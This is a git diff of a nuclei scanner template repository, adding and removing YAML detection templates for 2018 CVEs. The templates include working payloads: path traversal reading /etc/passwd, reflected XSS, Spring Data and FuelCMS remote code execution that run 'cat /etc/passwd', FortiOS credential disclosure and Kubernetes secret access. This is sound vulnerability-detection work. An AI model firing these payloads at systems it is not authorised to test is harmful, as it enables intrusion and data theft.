type: word + part: body + words: + - "{{md5({{num}})}}" + + - type: status + status: + - 200 +# digest: 4b0a0048304602210094fdc034027036f675331a436c8d9717e75ce79fc7a19d05b65af74381436044022100f81d99821fdfe5caea01c0c541569fd07dd78ac1522bbf7146f0a3b802ac09e8:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2018/CVE-2018-11510.yaml b/nuclei-templates/CVE-2018/cve-2018-11510.yaml similarity index 100% rename from nuclei-templates/CVE-2018/CVE-2018-11510.yaml rename to nuclei-templates/CVE-2018/cve-2018-11510.yaml diff --git a/nuclei-templates/CVE-2018/cve-2018-11759.yaml b/nuclei-templates/CVE-2018/cve-2018-11759.yaml new file mode 100644 index 0000000000..15a423c544 --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-11759.yaml @@ -0,0 +1,30 @@ +id: CVE-2018-11759 + +info: + name: Apache Tomcat JK Status Manager Access + author: harshbothra_ + severity: high + description: The Apache Web Server (httpd) specific code that normalised the requested path before matching it to the URI-worker map in Apache Tomcat JK (mod_jk) Connector 1.2.0 to 1.2.44 did not handle some edge cases correctly. If only a sub-set of the URLs supported by Tomcat were exposed via httpd, then it was possible for a specially constructed request to expose application functionality through the reverse proxy that was not intended for clients accessing the application via the reverse proxy. It was also possible in some configurations for a specially constructed request to bypass the access controls configured in httpd. While there is some overlap between this issue and CVE-2018-1323, they are not identical. + reference: https://github.com/immunIT/CVE-2018-11759 + tags: cve,cve2018,apache,tomcat,status + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.50 + cve-id: CVE-2018-11759 + cwe-id: CWE-22 + +requests: + - method: GET + path: + - '{{BaseURL}}/jkstatus' + - '{{BaseURL}}/jkstatus;' + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "JK Status Manager" diff --git a/nuclei-templates/CVE-2018/cve-2018-12095.yaml b/nuclei-templates/CVE-2018/cve-2018-12095.yaml deleted file mode 100644 index 202b897b33..0000000000 --- a/nuclei-templates/CVE-2018/cve-2018-12095.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2018-12095 - -info: - name: OEcms 3.1 - Cross-Site Scripting - author: LogicalHunter - severity: medium - description: A Reflected Cross-Site Scripting web vulnerability has been discovered in the OEcms v3.1 web-application. The vulnerability is located in the mod parameter of info.php. - reference: - - https://www.exploit-db.com/exploits/44895 - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12095 - - https://cxsecurity.com/issue/WLB-2018060092 - tags: cve,cve2018,xss - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - cvss-score: 5.40 - cve-id: CVE-2018-12095 - cwe-id: CWE-79 - -requests: - - method: GET - path: - - '{{BaseURL}}/cms/info.php?mod=list%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - - matchers-condition: and - matchers: - - type: word - words: - - '' - part: body - - - type: word - part: header - words: - - text/html - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-12296.yaml b/nuclei-templates/CVE-2018/cve-2018-12296.yaml deleted file mode 100644 index faa7cc7f06..0000000000 --- a/nuclei-templates/CVE-2018/cve-2018-12296.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2018-12296 -info: - name: Seagate NAS OS 4.3.15.1 - Server Information Disclosure - author: princechaddha - severity: high - description: Insufficient access control in /api/external/7.0/system.System.get_infos in Seagate NAS OS version 4.3.15.1 allows attackers to obtain information about the NAS without authentication via empty POST requests. - reference: - - https://blog.securityevaluators.com/invading-your-personal-cloud-ise-labs-exploits-the-seagate-stcr3000101-ecf89de2170 - - https://nvd.nist.gov/vuln/detail/CVE-2018-12296 - tags: cve,cve2018,seagate,nasos,disclosure,unauth - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.50 - cve-id: CVE-2018-12296 - cwe-id: CWE-732 - -requests: - - raw: - - | - POST /api/external/7.0/system.System.get_infos HTTP/1.1 - Host: {{Hostname}} - Referer: {{BaseURL}} - - matchers: - - type: word - part: body - words: - - '"version":' - - '"serial_number":' - condition: and - - extractors: - - type: regex - part: body - group: 1 - regex: - - '"version": "([0-9.]+)"' diff --git a/nuclei-templates/CVE-2018/cve-2018-1247.yaml b/nuclei-templates/CVE-2018/cve-2018-1247.yaml new file mode 100644 index 0000000000..e522302ccb --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-1247.yaml @@ -0,0 +1,22 @@ +id: CVE-2018-1247 + +info: + name: RSA Authentication Manager XSS + author: madrobot + severity: medium + +requests: + - method: GET + path: + - "{{BaseURL}}/IMS-AA-IDP/common/scripts/iua/pmfso.swf?sendUrl=/&gotoUrlLocal=javascript:alert(1337)//" + + matchers-condition: and + matchers: + - type: word + words: + - "application/x-shockwave-flash" + part: header + - type: word + words: + - "javascript:alert(1337)" + part: body diff --git a/nuclei-templates/CVE-2018/cve-2018-1273.yaml b/nuclei-templates/CVE-2018/cve-2018-1273.yaml new file mode 100644 index 0000000000..46a3d307c6 --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-1273.yaml @@ -0,0 +1,43 @@ +id: CVE-2018-1273 + +info: + name: Spring Data Commons Unauthenticated RCE + author: dwisiswant0 + severity: critical + description: | + Spring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5, + and older unsupported versions, contain a property binder vulnerability + caused by improper neutralization of special elements. + An unauthenticated remote malicious user (or attacker) can supply + specially crafted request parameters against Spring Data REST backed HTTP resources + or using Spring Data’s projection-based request payload binding hat can lead to a remote code execution attack. + reference: https://nvd.nist.gov/vuln/detail/CVE-2018-1273 + tags: cve,cve2018,vmware,rce,spring + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2018-1273 + cwe-id: CWE-20 + +requests: + - raw: + - | + POST /account HTTP/1.1 + Host: {{Hostname}} + Connection: close + Content-Type: application/x-www-form-urlencoded + + name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('{{url_encode('§command§')}}')]=nuclei + + payloads: + command: + - "cat /etc/passwd" + - "type C:\\/Windows\\/win.ini" + + matchers: + - type: regex + regex: + - "root:.*:0:0:" + - "\\[(font|extension|file)s\\]" + condition: or + part: body diff --git a/nuclei-templates/CVE-2018/cve-2018-13379.yaml b/nuclei-templates/CVE-2018/cve-2018-13379.yaml deleted file mode 100644 index 93cc9387a3..0000000000 --- a/nuclei-templates/CVE-2018/cve-2018-13379.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: CVE-2018-13379 - -info: - name: FortiOS - Credentials Disclosure - author: organiccrap - severity: critical - tags: cve,cve2018,fortios - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2018-13379 - cwe-id: CWE-22 - description: "An Improper Limitation of a Pathname to a Restricted Directory (\"Path Traversal\") in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.3 to 5.6.7 and 5.4.6 to 5.4.12 and FortiProxy 2.0.0, 1.2.0 to 1.2.8, 1.1.0 to 1.1.6, 1.0.0 to 1.0.7 under SSL VPN web portal allows an unauthenticated attacker to download system files via special crafted HTTP resource requests." - reference: - - https://fortiguard.com/advisory/FG-IR-18-384 - - https://www.fortiguard.com/psirt/FG-IR-20-233 - -requests: - - method: GET - path: - - "{{BaseURL}}/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession" - matchers: - - type: word - words: - - "var fgt_lang" diff --git a/nuclei-templates/CVE-2018/cve-2018-13380.yaml b/nuclei-templates/CVE-2018/cve-2018-13380.yaml deleted file mode 100644 index 817ec01641..0000000000 --- a/nuclei-templates/CVE-2018/cve-2018-13380.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2018-13380 - -info: - name: Fortinet FortiOS Cross-Site Scripting - author: shelld3v - severity: medium - description: A Cross-site Scripting (XSS) vulnerability in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, 5.4.0 to 5.4.12, 5.2 and below versions under SSL VPN web portal allows attacker to execute unauthorized malicious script code via the error or message handling parameters. - reference: https://nvd.nist.gov/vuln/detail/CVE-2018-13380 - - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2018-13380 - cwe-id: CWE-79 - -requests: - - method: GET - path: - - "{{BaseURL}}/message?title=x&msg=%26%23%3Csvg/onload=alert(1337)%3E" - - "{{BaseURL}}/remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1337)%3C/script%3E" - - matchers-condition: and - matchers: - - type: word - words: - - "" - part: body - - - type: word - words: - - "application/json" - part: header - negative: true - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-13980.yaml b/nuclei-templates/CVE-2018/cve-2018-13980.yaml new file mode 100644 index 0000000000..3f6afd77f7 --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-13980.yaml @@ -0,0 +1,32 @@ +id: CVE-2018-13980 + +info: + name: Zeta Producer Desktop CMS 14.2.0 - Local File Disclosure + author: wisnupramoedya + severity: medium + description: The websites that were built from Zeta Producer Desktop CMS before 14.2.1 are vulnerable to unauthenticated file disclosure if the plugin "filebrowser" is installed, because of assets/php/filebrowser/filebrowser.main.php?file=../ directory traversal. + reference: + - https://www.exploit-db.com/exploits/45016 + - https://nvd.nist.gov/vuln/detail/CVE-2018-13980 + tags: cve,cve2018,lfi + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N + cvss-score: 5.50 + cve-id: CVE-2018-13980 + cwe-id: CWE-22 + +requests: + - method: GET + path: + - "{{BaseURL}}/assets/php/filebrowser/filebrowser.main.php?file=../../../../../../../../../../etc/passwd&do=download" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:.*:0:0" + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-14916.yaml b/nuclei-templates/CVE-2018/cve-2018-14916.yaml deleted file mode 100644 index 984ff08fd7..0000000000 --- a/nuclei-templates/CVE-2018/cve-2018-14916.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: CVE-2018-14916 -info: - name: Loytec LGATE-902 Directory Traversal - author: 0x_Akoko - severity: critical - description: Loytec LGATE-902 versions prior to 6.4.2 suffer from cross site scripting, arbitrary file deletion, and directory traversal vulnerabilities. - reference: - - https://packetstormsecurity.com/files/152453/Loytec-LGATE-902-XSS-Traversal-File-Deletion.html - - https://nvd.nist.gov/vuln/detail/CVE-2018-14916 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H - cvss-score: 9.4 - cve-id: CVE-2018-14916 - cwe-id: CWE-732 - tags: cve,cve2018,loytec,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/webui/file_guest?path=/var/www/documentation/../../../../../etc/passwd&flags=1152" - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:[x*]:0:0" - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-16133.yaml b/nuclei-templates/CVE-2018/cve-2018-16133.yaml new file mode 100644 index 0000000000..6acefb5047 --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-16133.yaml @@ -0,0 +1,32 @@ +id: CVE-2018-16133 +info: + name: Cybrotech CyBroHttpServer 1.0.3 Directory Traversal + author: 0x_Akoko + severity: medium + description: Cybrotech CyBroHttpServer 1.0.3 allows Directory Traversal in the URI. + reference: + - https://packetstormsecurity.com/files/149177/Cybrotech-CyBroHttpServer-1.0.3-Directory-Traversal.html + - http://www.cybrotech.com/ + - https://www.cvedetails.com/cve/CVE-2018-16133 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cve-id: CVE-2018-16133 + cwe-id: CWE-22 + tags: cve,cve2018,cybrotech,lfi + +requests: + - raw: + - |+ + GET \..\..\..\..\Windows\win.ini HTTP/1.1 + Host: {{Hostname}} + + unsafe: true + matchers: + - type: word + part: body + words: + - "bit app support" + - "fonts" + - "extensions" + condition: and diff --git a/nuclei-templates/CVE-2018/cve-2018-16716.yaml b/nuclei-templates/CVE-2018/cve-2018-16716.yaml new file mode 100644 index 0000000000..628db2492d --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-16716.yaml @@ -0,0 +1,30 @@ +id: CVE-2018-16716 +info: + name: NCBI ToolBox - Directory Traversal + author: 0x_Akoko + severity: high + description: A path traversal vulnerability exists in viewcgi.c in the 2.0.7 through 2.2.26 legacy versions of the NCBI ToolBox, which may result in reading of arbitrary files (i.e., significant information disclosure) or file deletion via the nph-viewgif.cgi query string. + reference: + - https://github.com/grymer/CVE/blob/master/CVE-2018-16716.md + - https://nvd.nist.gov/vuln/detail/CVE-2018-16716 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2018-16716 + cwe-id: CWE-22 + tags: cve,cve2018,ncbi,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/blast/nph-viewgif.cgi?../../../../etc/passwd" + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:[x*]:0:0" + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-16761.yaml b/nuclei-templates/CVE-2018/cve-2018-16761.yaml deleted file mode 100644 index 23f9df48fa..0000000000 --- a/nuclei-templates/CVE-2018/cve-2018-16761.yaml +++ /dev/null @@ -1,43 +0,0 @@ -id: CVE-2018-16761 - -info: - name: Eventum <3.4.0 - Open Redirect - author: 0x_Akoko - severity: medium - description: | - Eventum before 3.4.0 contains an open redirect vulnerability. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations. - impact: | - An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the theft of sensitive information. - remediation: | - Upgrade to Eventum version 3.4.0 or later to fix the open redirect vulnerability. - reference: - - https://www.invicti.com/web-applications-advisories/ns-18-021-open-redirection-vulnerabilities-in-eventum/ - - https://github.com/eventum/eventum/releases/tag/v3.4.0 - - https://nvd.nist.gov/vuln/detail/CVE-2018-16761 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2018-16761 - cwe-id: CWE-601 - epss-score: 0.00068 - epss-percentile: 0.28116 - cpe: cpe:2.3:a:eventum_project:eventum:*:*:*:*:*:*:*:* - metadata: - max-request: 2 - vendor: eventum_project - product: eventum - tags: cve,cve2018,redirect,eventum,oss,eventum_project - -http: - - method: GET - path: - - '{{BaseURL}}/select_project.php?url=http://interact.sh' - - '{{BaseURL}}/clock_status.php?current_page=http://interact.sh' - - stop-at-first-match: true - matchers: - - type: regex - part: header - regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1 -# digest: 4b0a00483046022100e1983ab57aad7d2f22f2ba0dea11509f38177f73e307a187c6b61e4dd913d631022100b3efb8776bfa1c1caa13f75f339008475a607f5169e8984cd452e62791d91515:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2018/cve-2018-16763.yaml b/nuclei-templates/CVE-2018/cve-2018-16763.yaml new file mode 100644 index 0000000000..bcdb226a69 --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-16763.yaml @@ -0,0 +1,32 @@ +id: CVE-2018-16763 + +info: + name: fuelCMS 1.4.1 - Remote Code Execution + author: pikpikcu + severity: critical + tags: cve,cve2018,fuelcms,rce + reference: + - https://www.exploit-db.com/exploits/47138 + - https://www.getfuelcms.com/ # Vendor Homepage + - https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1 # Software Link + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2018-16763 + cwe-id: CWE-74 + description: "FUEL CMS 1.4.1 allows PHP Code Evaluation via the pages/select/ filter parameter or the preview/ data parameter. This can lead to Pre-Auth Remote Code Execution." + +requests: + - raw: + - | + GET /fuel/pages/select/?filter=%27%2bpi(print(%24a%3d%27system%27))%2b%24a(%27cat%20/etc/passwd%27)%2b%27 HTTP/1.1 + Host: {{Hostname}} + + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: regex + regex: + - "root:.*:0:0:" diff --git a/nuclei-templates/CVE-2018/cve-2018-16836.yaml b/nuclei-templates/CVE-2018/cve-2018-16836.yaml deleted file mode 100644 index 0a8102bf1d..0000000000 --- a/nuclei-templates/CVE-2018/cve-2018-16836.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: CVE-2018-16836 - -info: - name: Rubedo CMS 3.4.0 - Directory Traversal - author: 0x_Akoko - severity: critical - reference: https://www.exploit-db.com/exploits/45385 - tags: cve,cve2018,rubedo,lfi - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2018-16836 - cwe-id: CWE-22 - description: "Rubedo through 3.4.0 contains a Directory Traversal vulnerability in the theme component, allowing unauthenticated attackers to read and execute arbitrary files outside of the service root path, as demonstrated by a /theme/default/img/%2e%2e/..//etc/passwd URI." - -requests: - - method: GET - path: - - "{{BaseURL}}/theme/default/img/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd" - - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0" - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-18264.yaml b/nuclei-templates/CVE-2018/cve-2018-18264.yaml new file mode 100644 index 0000000000..c7c2dc378f --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-18264.yaml @@ -0,0 +1,36 @@ +id: CVE-2018-18264 + +info: + name: Kubernetes Dashboard unauthenticated secret access + author: edoardottt + severity: high + description: Kubernetes Dashboard before 1.10.1 allows attackers to bypass authentication and use Dashboard's Service Account for reading secrets within the cluster. + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2018-18264 + cwe-id: CWE-306 + metadata: + shodan-query: product:"Kubernetes" + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2018-18264 + - https://github.com/kubernetes/dashboard/pull/3289 + - https://sysdig.com/blog/privilege-escalation-kubernetes-dashboard/ + tags: cve,cve2018,kubernetes,k8s,unauth + +requests: + - method: GET + path: + - "{{BaseURL}}/api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs" + - "{{BaseURL}}/k8s/api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs" + + stop-at-first-match: true + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: dsl + dsl: + - 'contains(body, "apiVersion") && contains(body, "objectRef")' \ No newline at end of file diff --git a/nuclei-templates/CVE-2018/cve-2018-18323.yaml b/nuclei-templates/CVE-2018/cve-2018-18323.yaml new file mode 100644 index 0000000000..e214ec632c --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-18323.yaml @@ -0,0 +1,32 @@ +id: CVE-2018-18323 +info: + name: Centos Web Panel 0.9.8.480 LFI + author: 0x_Akoko + severity: high + description: Centos Web Panel version 0.9.8.480 suffers from code execution, cross site scripting, and local file inclusion vulnerabilities. + reference: + - https://packetstormsecurity.com/files/149795/Centos-Web-Panel-0.9.8.480-XSS-LFI-Code-Execution.html + - http://centos-webpanel.com/ + - https://www.cvedetails.com/cve/CVE-2018-18323 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2018-18323 + cwe-id: CWE-22 + tags: cve,cve2018,centos,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/admin/index.php?module=file_editor&file=/../../../../../../../../../../../etc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:[x*]:0:0" + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-18570.yaml b/nuclei-templates/CVE-2018/cve-2018-18570.yaml deleted file mode 100644 index 51249a06a8..0000000000 --- a/nuclei-templates/CVE-2018/cve-2018-18570.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: CVE-2018-18570 -info: - name: Cross-Site Scripting on Planon web application - author: emadshanab - severity: medium - description: Planon before Live Build 41 has XSS - reference: - - https://www2.deloitte.com/de/de/pages/risk/articles/planon-cross-site-scripting.html - - https://nvd.nist.gov/vuln/detail/CVE-2018-18570 - tags: xss,cve,cve2018,planon - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2018-18570 - cwe-id: CWE-79 - -requests: - - method: GET - path: - - '{{BaseURL}}/wicket/resource/nl.planon.pssm.dashboard.cre.engine.wicket.page.AbstractDashboardPage/html/nodata.html?nodatamsg=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - "" - part: body - - - type: word - words: - - "text/html" - part: header diff --git a/nuclei-templates/CVE-2018/cve-2018-18775.yaml b/nuclei-templates/CVE-2018/cve-2018-18775.yaml new file mode 100644 index 0000000000..2325ca6d23 --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-18775.yaml @@ -0,0 +1,34 @@ +id: CVE-2018-18775 + +info: + name: Cross Site Scripting in Microstrategy Web version 7 + author: 0x_Akoko + description: Microstrategy Web, version 7, does not sufficiently encode user-controlled inputs, resulting in a Cross-Site Scripting (XSS) vulnerability via the Login.asp Msg parameter + severity: medium + tags: cve,cve2018,microstrategy,xss + reference: https://www.exploit-db.com/exploits/45755 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2018-18775 + cwe-id: CWE-79 + +requests: + - method: GET + path: + - '{{BaseURL}}/microstrategy7/Login.asp?Server=Server001&Project=Project001&Port=0&Uid=Uid001&Msg=%22%3E%3Cscript%3Ealert(/{{randstr}}/)%3B%3C%2Fscript%3E%3C' + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - '">' + part: body + + - type: word + words: + - "text/html" + part: header diff --git a/nuclei-templates/CVE-2018/cve-2018-18925.yaml b/nuclei-templates/CVE-2018/cve-2018-18925.yaml deleted file mode 100644 index 362dacb369..0000000000 --- a/nuclei-templates/CVE-2018/cve-2018-18925.yaml +++ /dev/null @@ -1,35 +0,0 @@ -id: CVE-2018-18925 -info: - name: Gogs - Remote Code Execution (CVE-2018-18925) - author: princechaddha - severity: critical - description: Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a ".." session-file forgery in the file session provider in file.go. This is related to session ID handling in the go-macaron/session code for Macaron. - reference: - - https://www.anquanke.com/post/id/163575 - - https://github.com/vulhub/vulhub/tree/master/gogs/CVE-2018-18925 - - https://nvd.nist.gov/vuln/detail/cve-2018-18925 - remediation: This issue will be fixed by updating to the latest version of Gogs - tags: cve,cve2018,gogs,lfi,rce - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2018-18925 - cwe-id: CWE-384 - -requests: - - raw: - - | - GET / HTTP/1.1 - Host: {{Hostname}} - Cookie: lang=en-US; i_like_gogits=../../../../etc/passwd; - - - | - GET / HTTP/1.1 - Host: {{Hostname}} - Cookie: lang=en-US; i_like_gogits=../../../../etc/dummy; - - req-condition: true - matchers: - - type: dsl - dsl: - - 'status_code_1 == 500 && status_code_2 == 200 && contains(body_2, "")' diff --git a/nuclei-templates/CVE-2018/cve-2018-19136.yaml b/nuclei-templates/CVE-2018/cve-2018-19136.yaml new file mode 100644 index 0000000000..4d61e0aad1 --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-19136.yaml @@ -0,0 +1,61 @@ +id: CVE-2018-19136 + +info: + name: DomainMOD 4.11.01 - Cross-Site Scripting + author: arafatansari + severity: medium + description: | + DomainMOD 4.11.01 is vulnerable to reflected cross-site scripting via assets/edit/registrar-account.php. + impact: | + Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. + remediation: | + Upgrade to the latest version of DomainMOD or apply the vendor-provided patch to mitigate this vulnerability. + reference: + - https://www.exploit-db.com/exploits/45883/ + - https://github.com/domainmod/domainmod/issues/79 + - https://nvd.nist.gov/vuln/detail/CVE-2018-19136 + - https://github.com/ARPSyndicate/cvemon + - https://github.com/ARPSyndicate/kenzer-templates + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2018-19136 + cwe-id: CWE-79 + epss-score: 0.00152 + epss-percentile: 0.50531 + cpe: cpe:2.3:a:domainmod:domainmod:*:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 2 + vendor: domainmod + product: domainmod + tags: cve2018,cve,edb,domainmod,xss,authenticated + +http: + - raw: + - | + POST / HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + new_username={{username}}&new_password={{password}} + - | + GET /assets/edit/registrar-account.php?raid=hello%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&del=1 HTTP/1.1 + Host: {{Hostname}} + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '">&really_del=1">YES' + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 +# digest: 4a0a0047304502202aa2d37d93090e65caa5149dce628a5f34aaf844a03795a60118487af86ad41a022100948b4dfb7fbc394901fe1405320714bc046f960c82c84e7dd65bfd91b4001a31:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2018/cve-2018-19326.yaml b/nuclei-templates/CVE-2018/cve-2018-19326.yaml new file mode 100644 index 0000000000..783a9f2a6f --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-19326.yaml @@ -0,0 +1,51 @@ +id: CVE-2018-19326 + +info: + name: Zyxel VMG1312-B10D 5.13AAXA.8 - Local File Inclusion + author: 0x_Akoko + severity: high + description: | + Zyxel VMG1312-B10D 5.13AAXA.8 is susceptible to local file inclusion. A remote unauthenticated attacker can send a specially crafted URL request containing "dot dot" sequences (/../), conduct directory traversal attacks, and view arbitrary files. + impact: | + Successful exploitation of this vulnerability allows an attacker to read sensitive files on the target system. + remediation: | + Apply the latest firmware update provided by Zyxel to fix the Local File Inclusion vulnerability. + reference: + - https://www.exploit-db.com/exploits/45904 + - https://www.cybersecurity-help.cz/vdb/SB2018120309 + - https://www.zyxel.com/homepage.shtml + - https://gist.github.com/numanturle/4988b5583e5ebe501059bd368636de33 + - https://nvd.nist.gov/vuln/detail/CVE-2018-19326 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2018-19326 + cwe-id: CWE-22 + epss-score: 0.01158 + epss-percentile: 0.83304 + cpe: cpe:2.3:o:zyxel:vmg1312-b10d_firmware:*:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: zyxel + product: vmg1312-b10d_firmware + shodan-query: http.html:"VMG1312-B10D" + tags: cve2018,cve,lfi,modem,router,edb,zyxel + +http: + - method: GET + path: + - "{{BaseURL}}/../../../../../../../../../../../../etc/passwd" + + matchers-condition: and + matchers: + - type: word + part: header + words: + - "application/octet-stream" + + - type: regex + part: body + regex: + - "root:.*:0:0:" +# digest: 490a004630440220161c573e68df00e50a9701801bdb980e503335d9521e4ad0338c169a567e5e9d0220779ded7472b14bcaba423f3f073c212a454643ec0e7cb5f75d4385047afd57a9:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2018/cve-2018-19365.yaml b/nuclei-templates/CVE-2018/cve-2018-19365.yaml new file mode 100644 index 0000000000..7b30433c16 --- /dev/null +++ b/nuclei-templates/CVE-2018/cve-2018-19365.yaml @@ -0,0 +1,31 @@ +id: CVE-2018-19365 +info: + name: Wowza Streaming Engine Manager Directory Traversal + author: 0x_Akoko + severity: high + description: The REST API in Wowza Streaming Engine 4.7.4.01 allows traversal of the directory structure and retrieval of a file via a remote, specifically crafted HTTP request + reference: + - https://blog.gdssecurity.com/labs/2019/2/11/wowza-streaming-engine-manager-directory-traversal-and-local.html + - https://www.cvedetails.com/cve/CVE-2018-19365 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2018-19365 + cwe-id: CWE-22 + tags: cve,cve2018,wowza,lfi + +requests: + - method: GET + path: + - 